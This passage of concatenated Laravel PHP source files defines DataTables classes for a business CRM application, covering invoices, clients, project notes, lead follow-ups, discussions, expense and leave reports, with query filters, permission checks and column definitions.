'; }) ->editColumn( 'issue_date', function ($row) { return $row->issue_date->timezone($this->company->timezone)->translatedFormat($this->company->date_format); } ) ->rawColumns(['project_name', 'action', 'status', 'invoice_number', 'total', 'name']) ->removeColumn('currency_symbol') ->removeColumn('currency_code') ->removeColumn('project_id'); } /** * @param Invoice $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(Invoice $model) { $request = $this->request(); $this->firstInvoice = Invoice::orderBy('id', 'desc')->first(); $this->invoiceSettings = InvoiceSetting::select('invoice_prefix', 'invoice_digit')->first(); $model = $model->with(['project' => function ($q) { $q->withTrashed(); $q->select('id', 'project_name', 'client_id'); }, 'currency:id,currency_symbol,currency_code', 'project.client']) ->with('client', 'client.session', 'client.clientDetails', 'payment') ->select('invoices.id', 'invoices.project_id', 'invoices.client_id', 'invoices.invoice_number', 'invoices.currency_id', 'invoices.total', 'invoices.status', 'invoices.issue_date', 'invoices.credit_note', 'invoices.show_shipping_address', 'invoices.send_status', 'invoices.invoice_recurring_id', 'invoices.hash', 'invoices.company_id'); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); $model = $model->where(DB::raw('DATE(invoices.`issue_date`)'), '>=', $startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); $model = $model->where(DB::raw('DATE(invoices.`issue_date`)'), '<=', $endDate); } if ($request->status != 'all' && !is_null($request->status)) { $model = $model->where('invoices.status', '=', $request->status); } if ($request->projectID != 'all' && !is_null($request->projectID)) { $model = $model->where('invoices.project_id', '=', $request->projectID); } if ($request->clientID != 'all' && !is_null($request->clientID)) { $model = $model->where('client_id', '=', $request->clientID); } if ($request->searchText != '') { $model = $model->where(function ($query) { $query->where('invoices.invoice_number', 'like', '%' . request('searchText') . '%') ->orWhere('invoices.id', 'like', '%' . request('searchText') . '%') ->orWhere('invoices.total', 'like', '%' . request('searchText') . '%'); }); } $model = $model->where('invoice_recurring_id', '=', $request->recurringID); $model = $model->whereHas('project', function ($q) { $q->whereNull('deleted_at'); }, '>=', 0); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('recurring-invoices-table', 0) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["recurring-invoices-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $modules = $this->user->modules; $dsData = [ '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'visible' => false, 'title' => __('app.id')], __('app.invoice') . '#' => ['data' => 'invoice_number', 'name' => 'invoice_number', 'exportable' => false, 'title' => __('app.invoice')], __('modules.invoices.total') . '#' => ['data' => 'invoices', 'name' => 'invoice_number', 'visible' => false, 'title' => __('modules.invoiceExport')], __('app.client') => ['data' => 'name', 'name' => 'project.client.name', 'exportable' => false, 'title' => __('app.client')], __('app.customers') => ['data' => 'client_name', 'name' => 'project.client.name', 'visible' => false, 'title' => __('app.customers')], __('modules.invoices.total') => ['data' => 'total', 'name' => 'total', 'title' => __('modules.invoices.total')], __('modules.invoices.startDate') => ['data' => 'issue_date', 'name' => 'issue_date', 'title' => __('modules.invoices.invoiceDate')], __('app.status') => ['data' => 'status', 'name' => 'status', 'title' => __('app.status')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->width(150) ->addClass('text-right pr-20') ]; if (in_array('projects', $modules)) { $dsData = array_slice($dsData, 0, 3, true) + [__('app.project') => ['data' => 'project_name', 'name' => 'project.project_name']] + array_slice($dsData, 3, count($dsData) - 1, true); } return $dsData; } } DataTables/ExpenseCategoryReportDataTable.php000064400000006640150325104510015326 0ustar00eloquent($query) ->addColumn('category_name', function ($row) { return html_entity_decode($row->category_name); }) ->addColumn('converted_price', function ($row) { return currency_format($row->expenses->sum('default_currency_price'), company()->currency_id); }) ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->addIndexColumn(); } /** * Get query source of dataTable. * * @param ExpensesCategory $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(ExpensesCategory $model) { $request = $this->request(); if ($request->categoryID != 'all' && !is_null($request->categoryID)) { $model = $model->where('id', '=', $request->categoryID); } $model = $model->with(['expenses' => function ($query) use ($request) { if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); $query->where(DB::raw('DATE(`purchase_date`)'), '>=', $startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); $query->where(DB::raw('DATE(`purchase_date`)'), '<=', $endDate); } $query->where('status', 'approved'); }]); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('expense-category-report-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["expense-category-report-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("#expense-category-report-table .select-picker").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => true, 'title' => '#'], __('app.category') => ['data' => 'category_name', 'name' => 'category_name', 'title' => __('app.category')], __('app.total').' '.__('app.price') => ['data' => 'converted_price', 'name' => 'converted_price', 'orderable' => false, 'title' => __('app.total').' '.__('app.price')], ]; } } DataTables/ProjectNotesDataTable.php000064400000021504150325104510013440 0ustar00editProjectNotePermission = user()->permission('edit_project_note'); $this->deleteProjectNotePermission = user()->permission('delete_project_note'); $this->viewProjectNotePermission = user()->permission('view_project_note'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->addColumn('check', fn($row) => $this->checkBox($row)) ->addColumn('action', function ($row) { $action = '
'; $action .= '
'; return $action; }) ->editColumn('note_title', function ($row) { if ($row->ask_password == 1) { return '' . $row->title . ''; } return '' . $row->title . ''; }) ->editColumn('note_type', function ($row) { if ($row->type == '1') { return ' ' . __('app.private') . ''; } else { return ' ' . __('app.public') . ''; } }) ->editColumn('id', function ($row) { return $row->id; }) ->addIndexColumn() ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['action', 'check', 'note_type', 'note_title']); } /** * @param ProjectNote $model * @return ProjectNote|\Illuminate\Database\Eloquent\Builder */ public function query(ProjectNote $model) { $request = $this->request(); $projects = $model->where('project_notes.project_id', $request->projectID); if (in_array('client', user_roles())) { if (user()->is_client_contact == 1) { $userId = UserService::getUserId(); } else { $userId = $this->user->id; } $projects = $projects->where('project_notes.client_id', $userId); $projects->where(function ($query) { return $query->where('project_notes.is_client_show', 1) ->where('project_notes.type', 1); }); $projects->OrWhere(function ($query) use ($userId) { return $query->where('project_notes.type', 0) ->where('project_notes.client_id', $userId); }); } if (!in_array('admin', user_roles())) { $projects->where(function ($query) { $query->where('project_notes.type', 0) ->orWhere(function ($query) { $query->where('project_notes.type', 1) ->whereExists(function ($query) { $query->select(DB::raw(1)) ->from('project_user_notes') ->whereRaw('project_user_notes.project_note_id = project_notes.id') ->where('project_user_notes.user_id', user()->id); }); }); }); if ($this->viewProjectNotePermission == 'added') { $projects->where('project_notes.added_by', user()->id); } elseif ($this->viewProjectNotePermission == 'owned') { $projects->where(function ($query) { return $query->where('project_user_notes.user_id', user()->id) ->orWhere('project_notes.type', 0); }); } elseif ($this->viewProjectNotePermission == 'both') { $projects->where(function ($query) { return $query->where('project_user_notes.user_id', user()->id) ->orWhere('project_notes.type', 0) ->orWhere('project_notes.added_by', user()->id); }); } } $projects->select('project_notes.*')->groupBy('id'); return $projects; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('project-notes-table', 2) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["project-notes-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { // }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'visible' => false, 'title' => __('app.id')], __('modules.client.noteTitle') => ['data' => 'note_title', 'name' => 'title', 'title' => __('modules.client.noteTitle')], __('modules.client.noteType') => ['data' => 'note_type', 'name' => 'type', 'title' => __('modules.client.noteType')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; } } DataTables/ClientsDataTable.php000064400000026303150325104510012424 0ustar00viewClientPermission = user()->permission('view_clients'); $this->editClientPermission = user()->permission('edit_clients'); $this->deleteClientPermission = user()->permission('delete_clients'); $this->deleteClientPermission = user()->permission('delete_clients'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $datatables = datatables()->eloquent($query); $datatables->addIndexColumn(); $datatables->addColumn('check', fn($row) => $this->checkBox($row)); $datatables->addColumn('action', function ($row) { $action = '
'; return $action; }); $datatables->addColumn('client_name', fn($row) => $row->name_salutation); $datatables->addColumn('mobile', function ($row) { if (!is_null($row->mobile) && !is_null($row->country_phonecode)) { return '+' . $row->country_phonecode . ' ' . $row->mobile; } return '--'; }); $datatables->addColumn('added_by', fn($row) => optional($row->clientDetails)->addedBy ? $row->clientDetails->addedBy->name : '--'); $datatables->editColumn('name', fn($row) => view('components.client', ['user' => $row])); $datatables->editColumn('id', fn($row) => $row->clientDetails?->id); $datatables->editColumn('created_at', fn($row) => Carbon::parse($row->created_at)->translatedFormat($this->company->date_format)); $datatables->editColumn('status', fn($row) => $row->status == 'active' ? Common::active() : Common::inactive()); $datatables->addIndexColumn(); $datatables->smart(false); $datatables->setRowId(fn($row) => 'row-' . $row->id); // Add Custom Field to datatable $customFieldColumns = CustomField::customFieldData($datatables, ClientDetails::CUSTOM_FIELD_MODEL, 'clientDetails'); $datatables->rawColumns(array_merge(['name', 'action', 'status', 'check'], $customFieldColumns)); return $datatables; } /** * @param User $model * @return User|\Illuminate\Database\Eloquent\Builder|\Illuminate\Database\Query\Builder */ public function query(User $model) { $request = $this->request(); $users = $model->withoutGlobalScope(ActiveScope::class) ->with('session:id', 'clientDetails.addedBy:id,name,image', 'clientDetails.company:id,logo,company_name') ->join('role_user', 'role_user.user_id', '=', 'users.id') ->leftJoin('client_details', 'users.id', '=', 'client_details.user_id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->select('users.id', 'users.salutation','users.is_client_contact', 'users.name', 'client_details.company_name', 'users.email', 'users.mobile', 'users.country_phonecode', 'users.image', 'users.created_at', 'users.status', 'client_details.added_by', 'users.admin_approval') ->where('roles.name', 'client') ->whereNull('users.is_client_contact'); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); $users = $users->where(DB::raw('DATE(users.`created_at`)'), '>=', $startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); $users = $users->where(DB::raw('DATE(users.`created_at`)'), '<=', $endDate); } if ($request->status != 'all' && $request->status != '') { $users = $users->where('users.status', $request->status); } if ($request->client != 'all' && $request->client != '') { $users = $users->where('users.id', $request->client); } if (!is_null($request->category_id) && $request->category_id != 'all') { $users = $users->where('client_details.category_id', $request->category_id); } if (!is_null($request->sub_category_id) && $request->sub_category_id != 'all') { $users = $users->where('client_details.sub_category_id', $request->sub_category_id); } if (!is_null($request->project_id) && $request->project_id != 'all') { $users->whereHas('projects', function ($query) use ($request) { return $query->where('id', $request->project_id); }); } if (!is_null($request->contract_type_id) && $request->contract_type_id != 'all') { $users->whereHas('contracts', function ($query) use ($request) { return $query->where('contracts.contract_type_id', $request->contract_type_id); }); } if (!is_null($request->country_id) && $request->country_id != 'all') { $users->whereHas('country', function ($query) use ($request) { return $query->where('id', $request->country_id); }); } if ($request->verification != 'all') { if ($request->verification == 'yes') { $users->where('users.admin_approval', 1); } elseif ($request->verification == 'no') { $users->where('users.admin_approval', 0); } } if ($this->viewClientPermission == 'added' || $this->viewClientPermission == 'both') { $users = $users->where('client_details.added_by', user()->id); } if ($request->searchText != '') { $users = $users->where(function ($query) { $query->where('users.name', 'like', '%' . request('searchText') . '%') ->orWhere('users.email', 'like', '%' . request('searchText') . '%') ->orWhere('client_details.company_name', 'like', '%' . request('searchText') . '%'); }); } return $users; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('clients-table', 2) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["clients-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { // }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $data = [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => !showId(), 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'title' => __('app.id'), 'visible' => showId()], __('app.name') => ['data' => 'name', 'name' => 'name', 'exportable' => false, 'title' => __('app.name')], __('app.customers') => ['data' => 'client_name', 'name' => 'users.name', 'visible' => false, 'title' => __('app.customers')], __('app.email') => ['data' => 'email', 'name' => 'email', 'title' => __('app.email')], __('app.addedBy') => ['data' => 'added_by', 'name' => 'added_by', 'visible' => false, 'title' => __('app.addedBy')], __('app.mobile') => ['data' => 'mobile', 'name' => 'mobile', 'title' => __('app.mobile')], __('app.status') => ['data' => 'status', 'name' => 'status', 'title' => __('app.status')], __('app.createdAt') => ['data' => 'created_at', 'name' => 'created_at', 'title' => __('app.createdAt')] ]; $action = [ Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; return array_merge($data, CustomFieldGroup::customFieldsDataMerge(new ClientDetails()), $action); } } DataTables/LeadFollowupDataTable.php000064400000015332150325104510013420 0ustar00editFollowupPermission = user()->permission('edit_lead_follow_up'); // all added none $this->deleteFollowupermission = user()->permission('delete_lead_follow_up'); // all added none $this->viewFollowupPermission = user()->permission('view_lead_follow_up'); // all added none } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->addColumn('action', function ($row) { $action = '
'; return $action; }) ->addColumn('status', function ($row) { $status = ''; $status .= ''; return $status; }) ->addColumn('statusChange', fn($row) => $row->status) ->addColumn('created_at', fn($row) => $row->created_at->timezone(company()->timezone)->format(company()->date_format . ' ' . company()->time_format)) ->addColumn('next_follow_up', fn($row) => $row->next_follow_up_date->format(company()->date_format . ' ' . company()->time_format)) ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['action', 'status']); } /** * Get query source of dataTable. * * @param LeadFollowup $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(DealFollowup $model) { $lead = $model->newQuery(); if (request()->has('leadId') && request()->leadId != '') { $lead = $lead->where('deal_id', request()->leadId); } if ($this->viewFollowupPermission == 'added') { $lead->where('added_by', user()->id); } return $lead; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('leadfollowup-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["leadfollowup-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }); $(".statusChange").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ __('app.createdOn') => ['data' => 'created_at', 'name' => 'created_at', 'title' => __('app.createdOn')], __('modules.lead.nextFollowUp') => ['data' => 'next_follow_up', 'name' => 'next_follow_up', 'title' => __('modules.lead.nextFollowUp')], __('app.remark') => ['data' => 'remark', 'name' => 'remark', 'title' => __('app.remark')], __('app.status') => ['data' => 'status', 'name' => 'status', 'exportable' => false, 'title' => __('app.status')], __('app.Changestatus') => ['data' => 'statusChange', 'name' => 'statusChange', 'visible' => false, 'title' => __('app.Changestatus')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; } } DataTables/DiscussionDataTable.php000064400000013150150325104510013142 0ustar00deleteDiscussionPermission = user()->permission('delete_project_discussions'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->editColumn('title', function ($row) { $lastReply = ''; if (!is_null($row->last_reply_by_id)) { $lastReply = '' . $row->lastReplyBy->name . ' '; } $title = '
'; $title .= '
'; $title .= '
' . $row->title . '

' . $lastReply . '

'; $title .= ''; if (count($row->replies) > 1) { $title .= __('modules.discussions.replied'); } else { $title .= __('modules.discussions.posted'); } $title .= ' ' . $row->last_reply_at->timezone(company()->timezone)->translatedFormat(company()->date_format . ' ' . company()->time_format) . ''; $title .= '
'; $title .= '
'; $title .= '
'; $title .= '
'; $title .= '

' . count($row->replies) . '

'; $title .= '
'; $title .= '
'; $title .= '
'; $title .= '
'; if (isset($row->category)) { $title .= '

' . $row->category->name . '

'; } if ( $this->deleteDiscussionPermission == 'all' || ($this->deleteDiscussionPermission == 'added' && $row->added_by == user()->id) ) { $title .= ''; $title .= '
'; } $title .= '
'; $title .= '
'; return $title; }) ->rawColumns(['title']); } /** * Get query source of dataTable. * @param Discussion $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(Discussion $model) { $request = $this->request(); $model = $model->with(['user' => function ($query) { $query->withoutGlobalScope(ActiveScope::class); }, 'replies', 'category', 'lastReplyBy' => function ($query) { $query->withoutGlobalScope(ActiveScope::class); }]) ->select('discussions.*'); if (!is_null($request->project_id)) { $model->where('project_id', $request->project_id); } if (!is_null($request->category_id)) { $model->where('discussion_category_id', $request->category_id); } $model->orderByDesc('id'); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('discussion-table', 0) ->parameters([ 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ]); return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ __('app.title') => ['data' => 'title', 'name' => 'title', 'title' => __('app.title')] ]; } } DataTables/InvoiceRecurringDataTable.php000064400000031266150325104510014304 0ustar00viewInvoicePermission = user()->permission('view_invoices'); $this->deleteInvoicePermission = user()->permission('delete_invoices'); $this->editInvoicePermission = user()->permission('edit_invoices'); $this->manageRecurringInvoicePermission = user()->permission('manage_recurring_invoice'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $userId = UserService::getUserId(); return datatables() ->eloquent($query) ->addIndexColumn() ->addColumn('action', function ($row) use ($userId) { $action = '
'; return $action; }) ->editColumn('project_name', function ($row) { if ($row->project_id != null) { return '' . $row->project->project_name . ''; } return '--'; }) ->addColumn('client_name', function ($row) { if ($row->project && $row->project->client) { return $row->project->client->name; } else if ($row->client_id != '') { return $row->client->name; } else if ($row->estimate && $row->estimate->client) { return $row->estimate->client->name; } else { return '--'; } }) ->editColumn('name', function ($row) { if ($row->project && $row->project->client) { $client = $row->project->client; } else if ($row->client_id != '') { $client = $row->client; } else if ($row->estimate && $row->estimate->client) { $client = $row->estimate->client; } else { return '--'; } return view('components.client', [ 'user' => $client ]); }) ->addColumn('invoice_status', function ($row) { return __('app.' . $row->status); }) ->addColumn('status', function ($row) { if (($row->client_can_stop == 1 || !in_array('client', user_roles())) && $this->manageRecurringInvoicePermission != 'none') { $selectActive = $row->status == 'active' ? 'selected' : ''; $selectInactive = $row->status != 'active' ? 'selected' : ''; $role = ''; return $role; } else { return ($row->status == 'inactive') ? ' ' . $row->status : '' . $row->status; } }) ->editColumn('total', function ($row) { $currencyId = $row->currency->id; return '
' . __('app.total') . ': ' . currency_format($row->total, $currencyId) . '
'; }) ->editColumn( 'issue_date', function ($row) { return $row->issue_date->timezone($this->company->timezone)->translatedFormat($this->company->date_format); } )->editColumn( 'next_invoice_date', function ($row) { $rotation = 'next_invoice_date)) { return $rotation; } $date = $row->next_invoice_date->timezone($this->company->timezone)->translatedFormat($this->company->date_format); if($row->recurrings->count() === $row->billing_cycle){ return '--'; } return $date . $rotation; } ) ->rawColumns(['project_name', 'action', 'status', 'total', 'next_invoice_date']) ->removeColumn('currency_symbol') ->removeColumn('currency_code') ->removeColumn('project_id'); } /** * @param RecurringInvoice $model * @return $this|RecurringInvoice */ public function query(RecurringInvoice $model) { $request = $this->request(); $userId = UserService::getUserId(); $model = $model->with(['project' => function ($q) { $q->withTrashed(); $q->select('id', 'project_name', 'client_id'); }, 'currency:id,currency_symbol,currency_code', 'project.client', 'recurrings']) ->select('invoice_recurring.id', 'invoice_recurring.project_id', 'invoice_recurring.client_id', 'invoice_recurring.currency_id', 'invoice_recurring.billing_cycle', 'invoice_recurring.total', 'invoice_recurring.status', 'invoice_recurring.issue_date', 'invoice_recurring.show_shipping_address', 'invoice_recurring.client_can_stop', 'invoice_recurring.next_invoice_date', 'rotation'); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); $model = $model->where(DB::raw('DATE(invoice_recurring.`issue_date`)'), '>=', $startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); $model = $model->where(DB::raw('DATE(invoice_recurring.`issue_date`)'), '<=', $endDate); } if ($request->status != 'all' && !is_null($request->status)) { $model = $model->where('invoice_recurring.status', '=', $request->status); } if ($request->projectID != 'all' && !is_null($request->projectID)) { $model = $model->where('invoice_recurring.project_id', '=', $request->projectID); } if ($request->clientID != 'all' && !is_null($request->clientID)) { $model = $model->where('invoice_recurring.client_id', $request->clientID); } if ($request->searchText != '') { $model = $model->where(function ($query) { $query->where('invoice_recurring.id', 'like', '%' . request('searchText') . '%') ->orWhere('invoice_recurring.total', 'like', '%' . request('searchText') . '%'); }); } if (in_array('client', user_roles())) { $model = $model->where('invoice_recurring.client_id', $userId); } if ($this->viewInvoicePermission == 'added') { $model = $model->where('invoice_recurring.added_by', $userId); } if ($this->viewInvoicePermission == 'owned') { $model = $model->where('invoice_recurring.client_id', $userId); } if ($this->viewInvoicePermission == 'both') { $model = $model->where('invoice_recurring.client_id', $userId)->orWhere('invoice_recurring.added_by', $userId); } $model = $model->whereHas('project', function ($q) { $q->whereNull('deleted_at'); }, '>=', 0); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('invoices-recurring-table', 0) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["invoices-recurring-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $(".change-invoice-status").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $modules = $this->user->modules; $dsData = [ '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => !showId()], __('app.id') => ['data' => 'id', 'name' => 'id', 'visible' => showId(), 'title' => __('app.id')], __('app.client') => ['data' => 'name', 'name' => 'project.client.name', 'exportable' => false, 'title' => __('app.client')], __('app.customers') => ['data' => 'client_name', 'name' => 'project.client.name', 'visible' => false, 'title' => __('app.customers')], __('modules.invoices.startDate') => ['data' => 'issue_date', 'name' => 'issue_date', 'title' => __('app.startDate')], __('modules.recurringInvoice.nextInvoice') => ['data' => 'next_invoice_date', 'name' => 'next_invoice_date', 'title' => __('modules.recurringInvoice.nextInvoice')], __('modules.invoices.total') => ['data' => 'total', 'name' => 'total', 'title' => __('modules.invoices.total')], __('app.status') => ['data' => 'status', 'name' => 'status', 'exportable' => false, 'title' => __('app.status')], __('app.invoice') . ' ' . __('app.status') => ['data' => 'invoice_status', 'name' => 'status', 'visible' => false, 'title' => __('app.invoice')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->width(150) ->addClass('text-right pr-20') ]; return $dsData; } } DataTables/LeaveReportDataTable.php000064400000016045150325104510013255 0ustar00viewLeaveReportPermission = user()->permission('view_leave_report'); } public function dataTable($query) { return datatables() ->eloquent($query) ->addColumn('action', function ($row) { $action = ''; return $action; }) ->addColumn('employee_name', function ($row) { return $row->name; }) ->addColumn('name', function ($row) { return view('components.employee', [ 'user' => $row ]); }) ->addColumn('approvedLeave', function ($row) { return ($row->count_approved_leaves + ($row->count_approved_half_leaves) / 2) == 0 ? '0' : ($row->count_approved_leaves + ($row->count_approved_half_leaves) / 2); }) ->addColumn('pendingLeave', function ($row) { return ($row->count_pending_leaves + ($row->count_pending_half_leaves) / 2) == 0 ? '0' : ($row->count_pending_leaves + ($row->count_pending_half_leaves) / 2); }) ->addIndexColumn() ->orderColumn('approvedLeave', 'count_approved_leaves $1') ->orderColumn('pendingLeave', 'count_pending_leaves $1') ->rawColumns(['approve', 'upcoming', 'pending', 'action', 'name']); } /** * @param User $model * @return \Illuminate\Database\Query\Builder */ public function query(User $model) { $request = $this->request(); $startDate = $request->startDate; $endDate = $request->endDate; $employeeId = $request->employeeId; if ($request->startDate == '') { $startDate = now($this->company->timezone)->startOfMonth(); $endDate = now($this->company->timezone); } else { $startDate = Carbon::createFromFormat($this->company->date_format, $startDate)->toDateString(); $endDate = Carbon::createFromFormat($this->company->date_format, $endDate)->toDateString(); } $startDt = ''; $endDt = ''; if (!is_null($startDate)) { $startDt = 'and DATE(leaves.`leave_date`) >= ' . '"' . $startDate . '"'; } if (!is_null($endDate)) { $endDt = 'and DATE(leaves.`leave_date`) <= ' . '"' . $endDate . '"'; } $model = $model->with('leaves')->selectRaw( 'users.*, designations.name as designation_name, ( select count("id") from leaves where user_id = users.id and leaves.duration != \'half day\' and leaves.status = \'approved\' ' . $startDt . ' ' . $endDt . ' ) as count_approved_leaves, ( select count("id") from leaves where user_id = users.id and leaves.duration = \'half day\' and leaves.status = \'approved\' ' . $startDt . ' ' . $endDt . ' ) as count_approved_half_leaves, ( select count("id") from leaves where user_id = users.id and leaves.duration != \'half day\' and leaves.status = \'pending\' ' . $startDt . ' ' . $endDt . ') as count_pending_leaves, ( select count("id") from leaves where user_id = users.id and leaves.duration = \'half day\' and leaves.status = \'pending\' ' . $startDt . ' ' . $endDt . ') as count_pending_half_leaves' )->leftJoin('employee_details', 'employee_details.user_id', '=', 'users.id') ->leftJoin('designations', 'employee_details.designation_id', '=', 'designations.id') ->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->onlyEmployee(); if ($employeeId != 0 && $employeeId != 'all') { $model->where('users.id', $employeeId); } if(in_array('employee', user_roles()) && $this->viewLeaveReportPermission == 'owned') { $model->whereHas('employeeDetail', function($query){ $query->where('id', user()->id); }); } if(in_array('employee', user_roles()) && $this->viewLeaveReportPermission == 'both') { $model->whereHas('employeeDetail', function($query){ $query->where('added_by', user()->id)->orWhere('id', user()->id); }); } if(in_array('employee', user_roles()) && $this->viewLeaveReportPermission == 'added') { $model->whereHas('employeeDetail', function($query){ $query->where('added_by', user()->id); }); } $model->groupBy('users.id'); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('leave-report-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["leave-report-table"].buttons().container() .appendTo( "#table-actions") }' ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ __('app.id') => ['data' => 'id', 'name' => 'id', 'visible' => false, 'exportable' => false, 'title' => __('app.id')], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.employee') => ['data' => 'name', 'name' => 'users.name', 'exportable' => false, 'title' => __('app.employee')], __('app.name') => ['data' => 'employee_name', 'name' => 'users.name', 'visible' => false, 'title' => __('app.name')], __('app.approved') => ['data' => 'approvedLeave', 'name' => 'approvedLeave', 'class' => 'text-center', 'title' => __('app.approved')], __('app.pending') => ['data' => 'pendingLeave', 'name' => 'pendingLeave', 'class' => 'text-center', 'title' => __('app.pending')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) 